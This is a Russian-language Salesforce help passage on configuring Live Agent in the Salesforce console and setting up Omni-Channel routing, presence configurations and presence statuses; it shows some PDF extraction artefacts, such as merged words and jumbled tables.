Настройте и добавьте приложение Live Agent в приложение консоли Salesforce.
Приложение Live Agent, настроенное на консоли, может использоваться агентами для
взаимодействиясклиентами. Консоль Salesforceпредоставляетагентамиадминистраторам
централизованный доступ к приложению Live Agent и другим продуктам Service Cloud,
предназначенным для быстрого и эффективного обслуживания клиентов.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкнитессылку«Правка»напротивименинужногоприложенияконсоли Salesforce.

3. Установите флажок «Добавить Live Agent в данное приложение».

4. Выберите записи или страницы, которые должны открываться в виде вложенных
вкладок рабочего пространства чата.

5. Еслиорганизацияподдерживает Salesforce Knowledge, установитефлажок «Добавить
предложенные статьи из Salesforce Knowledge в Live Agent» для
отображения виджета Knowledge One в рабочем пространстве чата.

6. Нажмите кнопку «Сохранить».

Одновременно пользователи могут выполнять несколько приложений Salesforce. Тем
не менее, если пользователь, вошедший в приложение консоли Salesforce, выполняет
вход в другое приложение Salesforce, то новые запросы на чат не могут быть приняты.

СМ. ТАКЖЕ:

Консоль Salesforce
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Настройка ответов чата из статей базы знаний

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки виджета
Knowledge One:
• «Настройка

приложения»

И

«Управление базой
знаний»

Еслиорганизацияиспользует Salesforce Knowledge, то агентамможетбытьпредоставлена
возможностьотправкиответовна вопросыклиентовпутемиспользованияинформации
из базы знаний. Чтобы разрешить агентам поиск статей из приложения Live Agent на
консоли Salesforceидобавлениенайденнойинформациивчаты, рекомендуемнастроить
ответы чата для статей.

Чтобыпредоставить агентамслужбыподдержкивозможностьдобавленияинформации
из статей базы знаний в сеансы чата посредством виджета Knowledge One, рекомендуем
добавить настраиваемое поле «Ответ чата» в типы статей. Данное поле хранит
информацию из статьи, которая может быть передана клиентам во время чата.
Рекомендуем использовать данное поле при добавлении слишком длинных статей в
ответ.

Создайте настраиваемоеполе типа «Текст», «Область текста» или «Область подробного
текста». Поля типа «Область обогащенного текста» не поддерживаются. Данное
настраиваемое поле должно быть добавлено в каждый тип статьи, содержащий
информацию, котораядолжнабытьдоступнаоператорампосредствомвиджета Knowledge
One.

1. Вразделе «Настройка» введите «Типы статей баз знаний» в поле «Быстрый поиск»,
затем выберите «Типы статей баз знаний».

2. Создайте или измените тип статьи.

3. Нажмите кнопку «Создать» в связанном списке «Поля».

4. Выберите значение «Текст», «Область текста» или «Область подробного текста».

Не рекомендуем выбирать значение «Область обогащенного текста».

5. Нажмите кнопку «Далее».

6. Введите значение «Ответ чата» в качестве метки поля.

Убедитесь, что имя поля добавлено автоматически. (При необходимости укажите
другое имя для метки поля.)

7. Нажмите кнопку «Далее».

8. Настройте параметры безопасности и нажмите кнопку «Далее».

Поле «Ответ чата» должно быть доступно авторам, редакторам и агентам Live Chat. Поле должно быть скрыто от
пользователей портала и других пользователей, которым оно должно быть недоступно.

9. Выберите «Да, добавить данное настраиваемое поле в макет» и нажмите кнопку «Сохранить».
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Добавление панели администратора на консоль Salesforce

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки приложения
Live Agent и управления
приложениями:
• «Настройка

приложения»

Панель администратора, добавленнаяна консоль Salesforce, позволяет упроститьработу
администраторов службы поддержки. Другими словами, администраторы могут
просматривать сведения о своих агентах без переключения между рабочими
пространствами.

1. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Приложения».

2. Щелкните ссылку «Правка» напротив нужного приложения консоли Salesforce.

3. Добавьте элемент «Администратор Live Agent» в список «Выбранныеэлементы»
раздела «Выбрать элементы вкладки навигации».

4. Нажмите кнопку «Сохранить».

Консоль Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Консоль Live Agent — это устаревшая функция, которая использовалась агентами для
общения с клиентам до выпуска Spring'13. Данная консоль больше не поддерживается
системойSalesforce. Еслиорганизациявсеещеиспользуетконсоль Live Agent, рекомендуем
как можно быстрее перейти на приложение Live Agent на консоли Salesforce, так как
поддержка устаревшей консоли со временем будет прекращена.

To upgrade to Live Agent in the Salesforce console, see Live Agent for Administrators. Справка
Salesforce содержит подробные инструкции по настройке приложения Live Agent на
консоли Salesforce, включая его внедрение и настройку в организации.
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Ограничения для консоли Live Agent

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Приложение Live Agent
доступно в версиях:
организации Performance
Edition иDeveloper Edition,
созданные после 14 июня
2012 года.

Приложение Live Agent
доступно за
дополнительную плату в
версиях: Enterprise Edition
и Unlimited Edition.

Консоль Live Agentпредоставляет только ограниченныйдоступ к некоторымфункциям
и не поддерживает функции Live Agent, внедренные после выпуска Spring'13.

Дополнительную информацию об использовании Live Agent на консоли Salesforce см.
в раздел «Live Agent для администраторов». Справка Salesforce содержит подробные
инструкции по настройке приложения Live Agent на консоли Salesforce, включая его
внедрение и настройку в организации.

Функции агентов
Консоль Live Agent не поддерживает некоторые функции, используемые агентами во
время чатов на консоли Salesforce.

ПримечанияПоддерживается?Функция

НетДаДобавление статей в чаты

Данная функция
поддерживается
посредством

ДаДобавление записей в
транскрипты

мини-приложения «CRM»,
являющегося устаревшим
модулем для консоли Live
Agent.

НетДаБыстрый текст

НетДаПеренос запросов на чат

НетНетКонференция чата

НетНетКритическое время
ожидания предупреждения

НетНетОтветычатаизбазызнаний

НетНетПеренос файлов

Консоль Live Agent
поддерживает

ОграниченоАвтоматические
приветствия

автоматические
приветствия, указанные
только в конфигурациях
Live Agent; консоль не
поддерживает
автоматические
приветствия, указанные в
параметрах кнопок чата.

Консоль Live Agent
поддерживает

ОграниченоНастраиваемые имена
агентов

настраиваемые имена
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ПримечанияПоддерживается?Функция

агентов, указанные только в
конфигурациях Live Agent; консоль не
поддерживает настраиваемые имена
агентов, указанные в параметрах
кнопок чата.

Функции администраторов
Изначально консоль Live Agent была предназначена только для взаимодействия агентов с клиентами. Как результат,
консоль Live Agent не поддерживает функции администраторов, поддерживаемые консолью Salesforce.

Виджет «Мультиканал» для администраторов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Для изменения наборов
полномочий и профилей:
• «Управление

профилями и наборами
полномочий»

Мультиканал — этоуниверсальноерешениедляобслуживанияклиентов, позволяющее
центруобработкивызововпереадресовыватьлюбыетипывходящихрабочихэлементов
(в томчислеобращения, чатыиинтересы) доступнымагентаморганизации. Мультиканал
легко интегрируется на консоль Salesforce.

Мультиканал — этоуниверсальнаянастраиваемаяфункция, доступнаядлядекларативной
настройки, то есть, без создания кода. Рекомендуем использовать мультиканал для
управления приоритетом рабочих элементов, который позволяет быстро
маршрутизировать важные рабочие элементы соответствующим агентам. Рекомендуем
управлятьпроизводительностьюдляназначенияагентамтолькотогоколичестварабочих
элементов, котороеможетбытьимиобработано. Принеобходимостиопределитеагентов,
которыемогут обрабатыватьразные типыназначений. Например, создайтеодну группу
агентов для обработки интересов и запросов на продажу, а другую группу — для
обработки вопросов по поддержке.

Как правило, мультиканал автоматически маршрутизирует все данные назначения
соответствующим агентам. Данный алгоритм позволяет экономить время и усилия
сотрудников центра обработки вызовов, исключая необходимость выбора вручную
рабочих назначений из очереди. Агенты, выполняющие назначения, которые
соответствуют их навыкам, могут обслуживать клиентов эффективнее и закрывать
назначения быстрее.

Итак, начнем!
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Создание объектов мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Первымшагом по направлению к созданию и запуску мультиканала является создание
необходимых объектов в Salesforce.

Включение мультиканала
Включите мультиканал для получения доступа к объектам, необходимым для
настройки функции в организации.

Создание каналов обслуживания
Каналыобслуживанияпозволяютпреобразоватьлюбойобъект Salesforce, например
обращение, интерес, сеанс SOS и даже настраиваемый объект, в рабочую запись.
Мультиканалзатемсобирает этирабочиеэлементыизочередей (как «цветы» из «сада»
производительности агента) и направляет их агентам в реальном времени.

Создание конфигураций маршрутизации
Конфигурации маршрутизации определяют способ маршрутизации рабочих элементов агентам. Они позволяют
определять приоритеты для относительной важности и размера рабочих элементов в очередях. Данный алгоритм
позволяет соответствующим образом обрабатывать самые важные рабочие элементы и равномерно распределять
работу между агентами. Чтобы начать маршрутизацию рабочих элементов агентам, создайте конфигурации
маршрутизации и назначьте их очередям.

Связывание конфигураций маршрутизации и агентов с очередями
Очереди — это классический элемент системы Salesforce, позволяющий рабочим группам управлять интересами,
обращениями и настраиваемыми объектами. Мультиканал значительно повышает производительность очередей,
позволяя маршрутизировать рабочие элементы агентам в режиме реального времени. Агентам не придется выбирать
рабочие элементы вручную из очередей, так как мультиканал маршрутизирует рабочие элементы автоматически и в
реальном времени!

Создание конфигураций присутствия
Уделитенемноговниманияагентам. Конфигурацииприсутствияопределяют, какуюнагрузкумогутпринятьрабочие
агентыиккакомуповедениюмультиканалаунихестьдоступприпомощиклиентам. Организацияможетиспользовать
несколько конфигураций для разных групп агентов, поддерживающих разные каналы.

Создание статусов присутствия
Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для получения входящих рабочих
элементов.
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Включение мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Включитемультиканалдляполучениядоступакобъектам, необходимымдлянастройки
функции в организации.

1. Введите строку «Параметры мультиканала» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметрымультиканала».

2. Установите флажок «Включить мультиканал».

3. Нажмите кнопку «Сохранить».

Создание каналов обслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Каналы обслуживания позволяют преобразовать любой объект Salesforce, например
обращение, интерес, сеанс SOS и даже настраиваемый объект, в рабочую запись.
Мультиканал затем собирает эти рабочие элементы из очередей (как «цветы» из «сада»
производительности агента) и направляет их агентам в реальном времени.

Каналы обслуживания позволяют управлять источниками работы и их приоритетом
относительно других рабочих элементов. Созданные каналы обслуживания должны
быть связаны с очередями, которые определяют способ маршрутизации рабочих
элементов агентам. При необходимости создайте каналы обслуживания для каналов
поддержки (например, обращения или экстренные вызовы) или каналов продаж
(например, интересы).

1. Вменю «Настройка» введитестроку «Каналы обслуживания» вполе «Быстрый поиск»,
затем выберите пункт «Каналы обслуживания» ищелкните «Создать».

2. Настройте параметры канала обслуживания.

3. Нажмите кнопку «Сохранить».

Параметры канала обслуживания
Путем настройки параметров канала обслуживания можно определять способы,
используемыеорганизациейдляполученияработыизразныхисточников (например,
чат, эл. почта, экстренные вызовы или социальные сети).

Поддерживаемые объекты для мультиканала
Мультиканалпозволяетповыситьпроизводительностьагентовпутемназначениязаписейврежимереальноговремени.
Какие объекты и записи поддерживаются мультиканалом?
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Параметры канала обслуживания

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Путем настройки параметров канала обслуживания можно определять способы,
используемые организацией для получения работы из разных источников (например,
чат, эл. почта, экстренные вызовы или социальные сети).

Выполняемые функцииПараметр

Данный параметр определяет имя канала
обслуживания.

Данноеимя канала обслуживанияили его
версия автоматически добавляется в поле
«API-имя».

Имя канала обслуживания

Данный параметр определяет API-имя
канала обслуживания.

API-имя

Тип записи, связанной с данным каналом
обслуживания. Например, при наличии

Тип связанного объекта

каналаобслуживаниядля веб-обращений
задайте параметру «Тип связанного
объекта» значение «Обращение». Полный
список объектов, поддерживаемых
каналами обслуживания, см. в разделе
«Поддерживаемые объекты для
мультиканала».

(Дополнительно) Данный параметр
открывает указанный настраиваемый

Компонент рабочего элемента

компонентнижнегоколонтитулаконсоли
припринятиизапросанарабочийэлемент
агентом. Например, когдаагентпринимает
интерес, открывается виджет
маркетинговой кампании.

Поддерживаемые объекты для мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Мультиканалпозволяетповыситьпроизводительностьагентовпутемназначениязаписей
врежимереальноговремени. Какиеобъектыизаписиподдерживаютсямультиканалом?

В настоящее время мультиканал поддерживает маршрутизацию для указанных ниже
объектов и записей.

• Обращения

• Чаты

• Видеовызовы SOS

• Сообщения социальной сети

• Заказы

• Интересы
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• Настраиваемые объекты

Создание конфигураций маршрутизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Конфигурациимаршрутизацииопределяютспособмаршрутизациирабочихэлементов
агентам. Онипозволяютопределятьприоритетыдляотносительнойважностииразмера
рабочих элементов в очередях. Данный алгоритмпозволяет соответствующимобразом
обрабатыватьсамыеважныерабочиеэлементыиравномернораспределятьработумежду
агентами. Чтобы начать маршрутизацию рабочих элементов агентам, создайте
конфигурации маршрутизации и назначьте их очередям.

Создайтеконфигурациюмаршрутизациидлякаждогоканалаобслуживанияорганизации.
Созданные конфигурации маршрутизации должны быть связаны с очередями для
предоставленияагентамвозможностиполученияработыпосленастройкимультиканала.

1. В меню «Настройка» введите строку «Маршрутизация» в поле «Быстрый поиск»,
затем выберите пункт «Конфигурации маршрутизации» и нажмите кнопку
«Создать».

2. Настройте параметры конфигурации маршрутизации.

3. Нажмите кнопку «Сохранить».

Параметры конфигурации маршрутизации
Настройте параметры конфигурации маршрутизации для определения порядка
доставки рабочих элементов агентам.

Параметры модели маршрутизации мультиканала
Параметрымоделимаршрутизациивмультиканалепозволяютопределятьспособперенаправлениявходящихрабочих
элементов агентам.

Параметры конфигурации маршрутизации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройтепараметрыконфигурациимаршрутизациидляопределенияпорядкадоставки
рабочих элементов агентам.

Основные сведения

Выполняемые функцииПараметр

Данный параметр определяет имя
конфигурации маршрутизации.

Данное имя конфигурации
маршрутизации или его версия

Имя конфигурации маршрутизации

автоматически добавляется в поле «Имя
разработчика».

Данный параметр определяет API-имя
канала обслуживания.

Имя разработчика
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Параметры маршрутизации

Выполняемые функцииПараметр

Порядок, в котором рабочие элементы из очереди,
связанной с этой конфигурацией маршрутизации,

Приоритет маршрутизации

передаются агентам. Объекты в очереди, имеющие более
низкий номер, маршрутизируются агентам первыми.

Например, при назначении наиболее перспективным
интересамприоритета 1, аменееперспективныминтересам
приоритета 2 первые маршрутизируются и назначаются
агентам после последних.

Затем системаопределяет доступных агентовииспользует
критерии ниже для назначения им работы.

1. Приоритеточереди, используемойдлямаршрутизации
рабочего элемента

2. Длительностьнахождениярабочегоэлементавочереди

3. Участники очереди, которым доступно получение
новых рабочих элементов из очереди

Приназначениирабочегоэлемента агентуответственность
за объект назначается агенту. Рабочий элемент,
отклоненныйагентом, переназначаетсяочередисисходной
длительностью, позволяющей корректно выполнить его
повторную маршрутизацию.

Данный параметр определяет способ маршрутизации
входящихрабочихэлементовагентам, назначеннымканалу
обслуживания конфигурации.

Модель маршрутизации

Устанавливает ограничение по времени для ответа агента
на элемент перед его отправкой другому агенту.

Истечение срока действия активной доставки (в
секундах)

Производительность рабочего элемента

Выполняемые функцииПараметр

Данный параметр определяет значение общей
производительностиагента, используемоеприназначении

Весовое значение производительности

агенту рабочего элемента из очередей, связанных с данной
конфигурацией.

Параметр «Производительность» конфигурации
присутствия, назначенной агенту, определяет общую
производительность агента. При назначении агенту
рабочего элемента из очереди, связанной с данной
конфигурацией, значение параметра «Весовое значение
производительности» вычитается из общей
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Выполняемые функцииПараметр

производительности агента. Рабочие элементы могут
назначаться агентам до достижения общей
производительности, равной 0.

При необходимости выберите только параметр «Весовое
значение производительности» или «Процент
производительности».

Данный параметр определяет процент общей
производительностиагента, используемыйприназначении

Процент производительности

агенту рабочего элемента из очередей, связанных с данной
конфигурацией.

Общая производительность агента определяется
параметром «Производительность» конфигурации
присутствия, назначенной агенту. При назначении агенту
рабочего элемента из очереди, связанной с данной
конфигурацией, значение параметра «Процент
производительности» вычитается из общей
производительности агента до достижения
производительности, равной 0%.

При необходимости выберите только параметр «Весовое
значение производительности» или «Процент
производительности».

Параметры модели маршрутизации мультиканала

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Параметры модели маршрутизации в мультиканале позволяют определять способ
перенаправления входящих рабочих элементов агентам.

Мультиканал позволяет автоматически маршрутизировать или доставлять рабочие
элементы агентам, назначенным соответствующей очереди.

ОписаниеПараметр маршрутизации

Входящие рабочие элементы
маршрутизируются агенту, имеющему
наименьшее количество открытых
рабочихэлементов. Например, еслиагенту
«А» назначается общая

Наименее активные

производительность, равная 10, а агенту
«Б» — общаяпроизводительность, равная
3, то при наличии трех активных рабочих
элементов для агента «А» и одного
активного рабочего элемента для агента
«Б» входящие рабочие элементы будут
маршрутизироваться агенту «А». Общая
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ОписаниеПараметр маршрутизации

производительность агентаопределяетсяназначеннойему
конфигурацией присутствия.

Входящие рабочие элементы маршрутизируются агенту с
наибольшим различием между производительностью

Самые доступные

рабочих элементов и количество открытых рабочих
элементов. Например, если агентам «А» и «Б» назначается
общаяпроизводительность, равная 5, то приналичии трех
активных рабочих элементов для агента «А» и одного
активного рабочего элемента для агента «Б» входящие
рабочие элементы будут маршрутизироваться агенту «Б».
Общая производительность агента определяется
назначенной ему конфигурацией присутствия.

Связывание конфигураций маршрутизации и агентов с очередями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Очереди — этоклассическийэлементсистемыSalesforce, позволяющийрабочимгруппам
управлять интересами, обращениями и настраиваемыми объектами. Мультиканал
значительно повышает производительность очередей, позволяя маршрутизировать
рабочие элементы агентам в режиме реального времени. Агентамне придется выбирать
рабочие элементы вручнуюиз очередей, так как мультиканал маршрутизирует рабочие
элементы автоматически и в реальном времени!

Рабочим элементам очереди назначается приоритет, выбранный в конфигурации
маршрутизации, созданнойранее. Еслиорганизацияужеиспользуеточереди, тоочереди,
доступные организации, могут использоваться повторно. Таким образом, рабочие
элементымогутмаршрутизироваться агентам, назначеннымданнымочередям, врежиме
реального времени.

Если организация не использует очереди, создайте как минимум одну очередь для
интеграции с мультиканалом. При необходимости создайте несколько очередей для
обработки разных типов рабочих элементов. Например, создайте одну очередь для
входящих обращений, а другую очередь для входящих интересов.

Чтобы гарантировать правильную работу маршрутизации, назначьте каждого агента
очереди, из которой они будут получать рабочие элементы.

Дополнительнуюинформациюобочередяхсм. вразделе «Общиесведенияобочередях»
справки Salesforce.

1. Введите строку «Очереди» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Очереди».

2. Создайте или отредактируйте очередь.

3. Найдите нужную конфигурацию маршрутизации в поле «Конфигурация маршрутизации».

4. Добавьте агентов в поле «Выбранные пользователи» раздела «Участники очереди».

Данные агенты будут получать рабочие элементы из данной очереди.

5. Нажмите кнопку «Сохранить».
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Создание конфигураций присутствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Уделите немного внимания агентам. Конфигурации присутствия определяют, какую
нагрузку могут принять рабочие агенты и к какому поведению мультиканала у них есть
доступ при помощи клиентам. Организация может использовать несколько
конфигураций для разных групп агентов, поддерживающих разные каналы.

При включении мультиканала в организации система Salesforce автоматически создает
конфигурацию присутствия по имени «Стандартная конфигурация присутствия». Все
агенты назначаются данной конфигурации автоматически. Тем не менее, при
необходимостисоздайте конфигурациюприсутствияиназначьте ейотдельныхагентов
с целью настройки параметров мультиканала для группы агентов. Переназначение
агентов настраиваемой конфигурации присутствия инициирует их исключение из
стандартной конфигурации присутствия.

1. Вменю «Настройка» введите строку «Присутствие» в поле «Быстрый поиск», затем
выберите пункт «Конфигурации присутствия» и нажмите кнопку «Создать».

2. Настройте параметры конфигурации присутствия.

3. Нажмите кнопку «Сохранить».

Параметры конфигурации присутствия
Настройте параметры конфигурации присутствия для определения параметров
мультиканала, назначенных агентам.

Параметры конфигурации присутствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте параметры конфигурации присутствия для определения параметров
мультиканала, назначенных агентам.

Основные сведения

Данныепараметрынастраиваютосновныефункции, доступныеагентампривыполнении
входа в мультиканал.

Выполняемые функцииПараметр

Данный параметр определяет имя
конфигурации присутствия.

Данноеимяилиего версия автоматически
добавляется в поле «Имя разработчика».

Имя конфигурации присутствия

Данный параметр определяет API-имя
конфигурации.

Имя разработчика

Данный параметр определяет
максимальную производительность для

Производительность

работы. Размер рабочего элемента,
указанный в конфигурации
маршрутизации, использует
производительность агента.
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Выполняемые функцииПараметр

Данный параметр позволяет автоматически принимать
рабочиеназначения, доставленныеагенту. Данныерабочие

Автоматическое принятие запросов

элементы открываются в рабочем пространстве агента
автоматически, поэтому они не должны приниматься
агентом вручную посредством виджета нижнего
колонтитула «Мультиканал».

Данныйпараметрнеможетиспользоватьсяпривключении
параметра «Разрешить агентам отклонение запросов».

Данныйпараметр позволяет агентам отклонять входящие
рабочие элементы.

Агенты не могут отклонять запросы при включении
параметра «Автоматическое принятие запросов».

Разрешить агентам отклонение запросов

Данныйпараметрпозволяетавтоматическизаменятьстатус
агента указанным статусом при отклонении рабочего
элемента агентом.

Данный параметр доступен только после включения
параметра «Разрешить агентам отклонение запросов».

Обновить статус при отклонении

Назначение пользователей

Чтобы предоставить соответствующим пользователям доступ к функциям мультиканала, назначьте им нужную
конфигурацию. Позжеконфигурациимогутбыть такженазначеныпрофили. Приназначенииконфигурациина уровнях
профиляипользователя конфигурацияна уровнепользователяпереопределяет конфигурацию, назначеннуюпрофилю
пользователя.

Внимание: Одновременно пользователю может быть назначена только одна конфигурация присутствия. При
назначениипользователювторойконфигурацииприсутствиясистемаудаляетпользователяизпервойконфигурации
присутствиябезпредупреждения. Убедитесь, чтопонимаете, какаяконфигурацияприсутствиядолжнабытьназначена
каждому пользователю!

Например, пользователю «А» назначается конфигурация присутствия «А». Затем пользователю «А», которому уже
назначенадругая конфигурацияприсутствия, случайноназначаетсяновая конфигурацияприсутствия «Б». Вданном
случае система Salesforce удаляетпользователя «А» из конфигурацииприсутствия «А» ипереназначаетпользователя
конфигурации присутствия «В» без предупреждения.

Выполняемые функцииПараметр

Данный параметр определяет пользователей, которые
могут быть назначены конфигурации.

Доступные пользователи

Данныйпараметропределяетпользователей, которые уже
назначены конфигурации.

Выбранные пользователи
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Назначение профилей

Чтобыпредоставитьпользователям, связаннымспрофилями, доступкфункцияммультиканала, назначьтесоответствующие
профили нужной конфигурации. При назначении конфигурации на уровнях профиля и пользователя конфигурация
на уровне пользователя переопределяет конфигурацию, назначенную профилю пользователя.

Выполняемые функцииПараметр

Данный параметр определяет профили пользователей,
которые могут быть назначены конфигурации.

Доступные профили

Данный параметр определяет профили пользователей,
которые уже назначены конфигурации.

Выбранные профили

Создание статусов присутствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов.

Статус присутствия может охватывать как минимум один канал рабочих элементов.
Например, создайте статус присутствия «Доступен для веб-поддержки», охватывающий
каналы обслуживания для чатов и сообщений эл. почты. При выполнении входа
посредством данного статуса присутствия агенты могут получать входящие чаты и
сообщения эл. почты. Гениально!

1. Вменю «Настройка» введите строку «Присутствие» вполе «Быстрый поиск», а затем
выберите пункт «Статусы присутствия» и нажмите кнопку «Создать».

2. Настройте параметры статуса присутствия.

3. Нажмите кнопку «Сохранить».

Параметры статуса присутствия
Настройте параметры статуса присутствия для определения каналов обслуживания,
назначенных разным статусам. Статусы, используемые агентами для входа в
мультиканал, определяются доступными типами работы.

Параметры статуса присутствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте параметры статуса присутствия для определения каналов обслуживания,
назначенныхразнымстатусам. Статусы, используемыеагентамидля входа вмультиканал,
определяются доступными типами работы.

Основные сведения

Рекомендуемиспользоватьданныепараметрыдляприсвоенияименистатусуприсутствия.
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Выполняемые функцииПараметр

Данный параметр определяет имя статуса присутствия.

Данное имя статуса присутствия или его версия
автоматически добавляется в поле «API-имя».

Имя статуса

Данныйпараметропределяет API-имя статусаприсутствия.API-имя

Параметры статуса

Данные параметры определяют доступность агентов при использовании данного статуса.

Выполняемые функцииПараметр

Данный параметр позволяет агентам, использующим
данный статус, получать новые рабочие элементы.

В сети

Данный параметр позволяет агентам, использующим
данныйстатус, отображаться в качествеотсутствующихна

Занят

рабочем месте и указывает на невозможность получения
новых рабочих элементов.

Каналы обслуживания

Назначьте каналыобслуживаниястатусуприсутствия. Агенты, использующиеданныйстатусприсутствиядля входа, могут
получать рабочие элементы из выбранных каналов.

Выполняемые функцииПараметр

Данный параметр определяет каналы обслуживания,
которые могут быть назначены статусу присутствия.

Доступные каналы

Данный параметр определяет каналы обслуживания,
назначенные статусу присутствия.

Выбранные каналы

Настройка доступа к статусам присутствия

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. После создания состояний присутствия для
мультиканала понадобится настроить способы доступа пользователей к нему. Можно
настроить доступ с использованием наборов разрешений или с использованием
профилей.

Предоставлениепользователямдоступак статусамприсутствияпосредствомнаборов
полномочий
Предоставьте статусыприсутствия агентам, назначеннымдляопределенныхнаборов
полномочий.
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Предоставление пользователям доступа к статусам присутствия посредством профилей
Предоставьте статусы присутствия агентам, назначенным определенным профилям.

Предоставление пользователям доступа к статусам присутствия посредством наборов
полномочий

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Для изменения наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Предоставьте статусы присутствия агентам, назначенным для определенных наборов
полномочий.

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. Можно предоставлять пользователям доступ
кстатусамприсутствиячерезнаборыполномочийилипрофиливкачествеальтернативы.

1. Введите строку «Наборы полномочий» в поле «Быстрый поиск» меню «Настройка»
и выберите пункт «Наборы полномочий».

2. Щелкните имя нужного набора полномочий.

3. Щелкните ссылку «Доступ к статусам присутствия услуги».

4. Нажмите кнопку «Правка».

5. Выберите нужные статусы присутствия.

Агенты, назначенные данному набору полномочий, могут выполнять вход в
мультиканал посредством любого доступного им статуса присутствия.

6. Нажмите кнопку «Сохранить».
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Предоставление пользователям доступа к статусам присутствия посредством профилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Мультиканал доступен в
версиях: Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
мультиканала:
• «Настройка

приложения»

Для изменения профилей:
• «Управление

профилями и наборами
полномочий»

Предоставьте статусы присутствия агентам, назначенным определенным профилям.

Статусы присутствия определяют доступность агента (в сети, отошел, не в сети) для
получения входящих рабочих элементов. Можно предоставлять пользователям доступ
кстатусамприсутствиячерезпрофилиилинаборыполномочийвкачествеальтернативы.

1. Введитестроку «Профили» вполе «Быстрый поиск» вменю «Настройка» ивыберите
«Профили».

2. Щелкните имя нужного профиля.

